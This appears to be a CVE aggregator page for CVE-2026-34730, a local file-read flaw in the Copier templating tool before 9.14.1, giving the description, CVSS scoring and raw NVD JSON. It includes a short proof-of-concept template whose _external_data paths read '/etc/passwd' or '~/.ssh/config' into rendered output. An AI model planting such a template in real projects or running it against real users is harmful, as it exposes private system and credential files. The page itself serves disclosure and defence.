Security Vulnerability Report
中文
CVE-2026-34730 CVSS 5.5 MEDIUM

CVE-2026-34730

Published: 2026-04-02 19:21:33
Last Modified: 2026-04-03 19:43:43

Description

Copier is a library and CLI app for rendering project templates. Prior to version 9.14.1, Copier's _external_data feature allows a template to load YAML files using template-controlled paths. If untrusted templates are in scope, a malicious template can read attacker-chosen YAML-parseable local files that are accessible to the user running Copier and expose their contents in rendered output. This issue has been patched in version 9.14.1.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:copier-org:copier:*:*:*:*:*:python:*:* - VULNERABLE
Copier < 9.14.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Configuration for CVE-2026-34730 # Save this as 'copier.yaml' in a template directory # Malicious template configuration exploiting _external_data _external_data: # Attacker controlled path to read a local YAML file (e.g., config, secrets) sensitive_data: "/etc/passwd" # Or specific user files: "~/.ssh/config" questions: - variable: "use_data" default: "yes" # In a template file (e.g., {{ _copier_conf.answers_file }}.jinja): # {{ sensitive_data }} # This will output the content of the specified file when rendered.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34730", "sourceIdentifier": "[email protected]", "published": "2026-04-02T19:21:32.560", "lastModified": "2026-04-03T19:43:42.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Copier is a library and CLI app for rendering project templates. Prior to version 9.14.1, Copier's _external_data feature allows a template to load YAML files using template-controlled paths. If untrusted templates are in scope, a malicious template can read attacker-chosen YAML-parseable local files that are accessible to the user running Copier and expose their contents in rendered output. This issue has been patched in version 9.14.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:copier-org:copier:*:*:*:*:*:python:*:*", "versionEndExcluding": "9.14.1", "matchCriteriaId": "08914294-5C57-49CB-8D05-BBB156C6B8B1"}]}]}], "references": [{"url": "https://github.com/copier-org/copier/commit/5413062eb17b73dc885f5e645cdc161e69ef641b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/copier-org/copier/releases/tag/v9.14.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/copier-org/copier/security/advisories/GHSA-hgjq-p8cr-gg4h", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/copier-org/copier/security/advisories/GHSA-hgjq-p8cr-gg4h", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}